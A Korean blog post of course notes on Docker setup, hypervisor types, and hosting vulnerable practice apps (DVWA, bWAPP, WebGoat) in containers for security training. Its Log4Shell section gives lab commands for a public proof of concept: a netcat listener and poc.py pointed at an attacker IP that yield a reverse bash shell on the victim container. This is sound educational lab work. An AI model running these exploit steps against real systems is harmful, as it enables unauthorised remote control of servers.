본문 바로가기
정보보안

정보보안8 14차시

by IT매니절 2024. 12. 28.

 

 

Rocky Linux 서버에서 docker 설치 설명
https://docs.rockylinux.org/ko/gemstones/containers/docker/

 

도커

컨테이너 기반의 가상화 기술을 사용해 응용 프로그램을 패키징하고 실행하는 플랫폼
격리된 공간을 제공하며 호스트 운영체제-컨테이너간 직접적인 상호작용을 통해 실행

dockerfile이라는 특별한 파일 형식을 이용해 docker이미지를 작성하고
dockerfile을 이용해 docker 이미지를 빌드하며 필요한 파일과 라이브러리를 다운로드한다
docker는 docker이미지를 사용해, 자원을 미리 준비하여 컨테이너 실행시 즉시 사용되도록 한다
기본적으로 호스트 운영체제와 동일한 네트워크에 컨테이너를 배치 (통신 용이)
데이터 관리는 볼륨이라는 개념을 이용하여 컨테이너와 호스트 운영체제 사이 데이터를 공유하게 함

애플리케이션 배포, 개발환경 구성, 테스트 환경 구성, 마이그레이션 등에 활용

 

도커설치

dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

dnf repolist

dnf -y install docker-ce docker-ce-cli containerd.io docker-compose-plugin
systemctl --now enable docker.service
systemctl status docker.service

 

ip a
1: lo: 생략
2: ens160: 생략
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
    link/ether 02:42:1f:da:4d:e6 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

=> 도커 설치 후, docker0 추가된 상태

 

# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DOCKER     all  --  0.0.0.0/0            0.0.0.0/0            ADDRTYPE match dst-type LOCAL

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
MASQUERADE  all  --  172.17.0.0/16        0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DOCKER     all  --  0.0.0.0/0           !127.0.0.0/8          ADDRTYPE match dst-type LOCAL

Chain DOCKER (2 references)
target     prot opt source               destination
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

=> 도커 설치 후, 도커에 대한 방화벽 룰이 생성된 상태

 

하이퍼 바이저
Type 1 : Native, Bare Metal Hypervisor

운영체제와 완전히 독립적, 하드웨어에서 직접 작동하고, 하이퍼바이저 위에서 실행되는 운영체제 모니터링
다른 게스트 운영 체제에 영향을 미치지 않음

ex) Vmware ESXi Server, Microsoft Hyper-V, Citrix/Xen Server


Type 2 : Hosted Hypervisor

운영체제가 설치된 다음 하이퍼 바이저가 그 위에서 다른 운영체제 지원
호스트 운영체제에 전적으로 의존
기본 운영체제의 모든 문제가 전체 시스템에 영향받음
ex) VMware Workstation, Microsoft Virtual PC, Oracle Virtual Box

 

사용 : 서버 가상화, 클라우드 컴퓨팅, 가상머신 분리로 인한 보안, BYOD 환경에서 기업/개인 데이터 분리 등

 

참고 : https://cafe.naver.com/linuxmasternet/1188

 

가상화방식의 차이
하이퍼바이저 - 가상머신을 생성하고, 각 가상 머신에 운영체제를 설치
Docker - 호스트 운영 체제 위에서 컨테이너라는 가상화 기술을 사용해 응용프로그램을 패키징하고 실행. 호스트 운영체제와 커널 공유

속도
하이퍼바이저 < Docker

이미지 관리 방식
하이퍼바이저 - 가상머신이미지 ISO파일
Docker - 컨테이너 이미지 사용 (Docker Hub 등의 저장소)

 

도커 설치 (우분투)

docker pull ubuntu 또는 docker run ubuntu

(버전 생략. 최신버전 기준)

 

실행

docker run -it --name ubuntu ubuntu /bin/bash

실행되어 변경된 프롬프트

 

# docker ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
# docker ps -a
CONTAINER ID   IMAGE     COMMAND       CREATED         STATUS                     PORTS     NAMES
e348a2299a88   ubuntu    "/bin/bash"   2 minutes ago   Exited (0) 5 seconds ago             ubuntu

=> ps는 현재 동작중인 것만, -a는 동작종료된 것도 출력

종료할때 exit는 docker를 종료시키고, ctrl + p + q는 실행상태를 유지하면서 종료한다

 

도커 삭제

docker rm 도커이름

docker rm -f 도커이름 (실행중이어도 삭제)

docker rm -f 도커이름 도커이름2 (여러개 한번에 삭제)

 

docker exec -it 도커이름 /bin/bash

=> -d 옵션을 써서 생성한 도커는 exec로 접속한다

exec로 접속한 도커는 exit로 빠져나와도 도커가 중지되지 않는다

(-i : interactive, 컨테이너 표준입력 활성화 (상호작용)
-t : tty, 터미널을 할당하여 명령어를 입력하고 결과를 볼 수 있다)

 

비교

run : 컨테이너를 시작시키고, 명령이 끝나면 빠져나간다.
이미지로부터 새 컨테이너를 생성할 수 있다.

 

exec : 컨테이너를 디버깅하기 위한 용도로 주로 사용
외부에서 접근하여 코드를 동작하며, cd는 실행불가
작동중인 컨테이너에만 접속가능

attach : 실행중인 컨테이너 내부에 다시 접근하게 해주는 명령어 (단, apache나 mysql같은 프로그램 동작중인 컨테이너에 접속할 경우 비정상종료되는 경우 있음)
처음 컨테이너를 run 할때 /bin/bash를 지정하지 않으면 bash쉘에만 접근가능

 

DVWA (Damn Vulnerable Web Application)
매우 취약하도록 설계된 PHP/MySQL 웹 애플리케이션
안전하고 합법적인 환경에서 기술과 도구를 테스트 할 수 있는 리소스 역할

 

도커로 DVWA 환경을 구성한다

 

# docker pull vulnerables/web-dvwa

# docker images
REPOSITORY             TAG       IMAGE ID       CREATED       SIZE
vulnerables/web-dvwa   latest    ab0d83586b6e   6 years ago   712MB

 

# docker run --name dvwa -p 81:80 -d vulnerables/web-dvwa

=> 외부 81포트를 도커 80포트에 연결한다

 

# iptables -nL
Chain INPUT (policy ACCEPT)
Chain FORWARD (policy DROP)
target     prot opt source               destination
DOCKER-USER  all  --  0.0.0.0/0            0.0.0.0/0
DOCKER-ISOLATION-STAGE-1  all  --  0.0.0.0/0            0.0.0.0/0
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED
DOCKER     all  --  0.0.0.0/0            0.0.0.0/0
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0


Chain OUTPUT (policy ACCEPT)
Chain DOCKER (1 references)
target     prot opt source               destination
ACCEPT     tcp  --  0.0.0.0/0            172.17.0.3           tcp dpt:80
(현재 도커를 여러개 설치-삭제-설치하였기 때문에 3번째임)
Chain DOCKER-ISOLATION-STAGE-1 (1 references)
target     prot opt source               destination
DOCKER-ISOLATION-STAGE-2  all  --  0.0.0.0/0            0.0.0.0/0
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

Chain DOCKER-ISOLATION-STAGE-2 (1 references)
target     prot opt source               destination
DROP       all  --  0.0.0.0/0            0.0.0.0/0
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

Chain DOCKER-USER (1 references)
target     prot opt source               destination
RETURN     all  --  0.0.0.0/0            0.0.0.0/0

 

81번 포트로 접속시

[create / reset Database] 버튼을 이용하여 생성한 후, 다시 로그인하면 된다.

Brute Force 시도 가능한 페이지

 

로그아웃한 후, /setup.php 페이지에 접근 가능한 상태

=> 입력값 검증 부재 취약점

 

bwapp 설치하기

beebox라는 배포판을 설치하면 그 안에 설치되어 있는 취약점 연습용 사이트

http://www.itsecgames.com/

 

# docker run -d --name bwapp -p 82:80 raesene/bwapp

# docker exec -it bwapp /bin/bash

 

# netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:81              0.0.0.0:*               LISTEN      26197/docker-proxy
tcp        0      0 0.0.0.0:82              0.0.0.0:*               LISTEN      26667/docker-proxy
tcp6       0      0 :::81                   :::*                    LISTEN      26202/docker-proxy
tcp6       0      0 :::82                   :::*                    LISTEN      26671/docker-proxy

=> 포트가 열려있는 것 확인 가능

 

보안 레벨 선택 가능

 

아이디는 bee 비밀번호는 bug

 

Log4j 취약점
Apache Log4j 로깅 라이브러리 취약점 (2021년 11월 발견)
Log4Shell : 패치되지 않은 버전의 Log4j를 실행하는 디바이스를 완전히 제어할 수 있는 권한을 부여

 

https://boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000127&searchWrd=log4j&menuNo=205021&pageIndex=1&categoryCode=&nttId=36478

 

Log4j 위협 대응 보고서
https://boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000127&searchWrd=log4j&menuNo=205021&pageIndex=1&categoryCode=&nttId=36476

 

log4j-shell-poc.git 다운로드
희생자 - 로키8

# dnf -y install git
# git clone https://github.com/kozmer/log4j-shell-poc.git
# cd log4j-shell-poc/
# docker build -t log4j-shell-poc .
# docker run --name log4j -p 83:8080 -d log4j-shell-poc

(pull이 아니라 로컬에서 직접 생성하는 방식으로 진행했다)

 

접속한 페이지

 

vim Dockerfile 로 읽은 모습

FROM : 기본 이미지 지정

RUN : 이미지 빌드 중 실행할 명령어 정의

ADD 또는 COPY : 로컬 파일을 Docker 이미지로 복사한다

(이미지의 경우, target/log4shell-1.0-SNAPSHOT.war 를 /usr/local/tomcat/webapps/ROOT.war 로 복사한다는 뜻)

EXPOSE : 사용할 네트워크 포트 설정

CMD 또는 ENTRYPOINT : 기본적으로 실행할 명령어 지정

("run"은 포그라운드 모드로 Tomcat을 실행한다)

 

 

공격자 - 칼리 

# git clone https://github.com/kozmer/log4j-shell-poc.git
# cd log4j-shell-poc/

 

poc.py
클래스파일 Exploit.java를 생성하여 javac로 컴파일하는 파이썬코드
ip와 port를 인수로 사용한다

 

# wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
# tar xzf jdk-8u202-linux-x64.tar.gz
# ln -s jdk1.8.0_202/ jdk1.8.0_20

# nc -lvp 9001

 

jdk1.8.0_202를 사용하는데, poc.py의 내부 경로는 jdk1.8.0_20 이므로 맞춰주어야 한다

심볼릭링크로 연결해주면 poc.py를 수정하지 않아도 된다

(또는 이름만 변경해준다든지 등등 방법은 여러가지)

 

칼리 터미널을 하나 더 열어서 명령어 실행

# cd log4j-shell-poc/

# python3 poc.py --userip 192.168.100.3 --webport 8000 --lport 9001

(에러가 날 경우 ulimit -a 확인 후 ulimit -n 10000 로 파일디스크립터 수를 10000개로 증가시킨다)

Listening on ~ 까지 나와야 성공한 것
웹페이지에 Send me의 내용을 붙여넣고, 비밀번호는 아무거나 넣는다

그러면 처음에 열었던 칼리 터미널에 bash 쉘이 떨어진다

 

 

Docker 를 이용한 WebGoat 설치
웹 애플리케이션 보안 교육을 목적으로 개발된 오픈소스 프로젝트
OWASP 제공

 

# docker run -it --name webgoat --hostname webgoat -p 84:8080 -p 9090:9090 ubuntu

(ubuntu라는 이름의 docker가 있다면 의도치 않은 결과가 나올 수 있음)

docker:/# apt update

docker:/# apt -y install git vim

(지역 선택은 5. Asia , 68. Seoul 로 선택)

docker:/# apt install -y openjdk-17-jdk

docker:/# java -version

자바버전 확인. 17.0.13

docker:/# cd

docker:~# git clone -b v2023.3 https://github.com/WebGoat/WebGoat.git

docker:~# vi src/main/resources/application-webgoat.properties
webgoat.host=0.0.0.0

=> host부분 수정

docker:~# vi src/main/resources/application-webwolf.properties
webwolf.host=0.0.0.0

=> host부분 수정

docker:~# ./mvnw clean install

Maven Wrapper를 사용해서 Maven 빌드 명령을 실행
프로젝트를 클린 빌드하고 모든 종속성을 설치하는 작업을 수행

docker:~# ./mvnw spring-boot:run

http://192.168.100.23:8080/WebGoat/ 으로 접속하여 사용가능

'정보보안' 카테고리의 다른 글

정보보안8 16차시  (0) 2025.01.04
정보보안8 15차시  (0) 2024.12.29
정보보안8 12-13차시  (0) 2024.12.22
정보보안8 11차시  (0) 2024.12.15
정보보안8 8차시  (0) 2024.12.01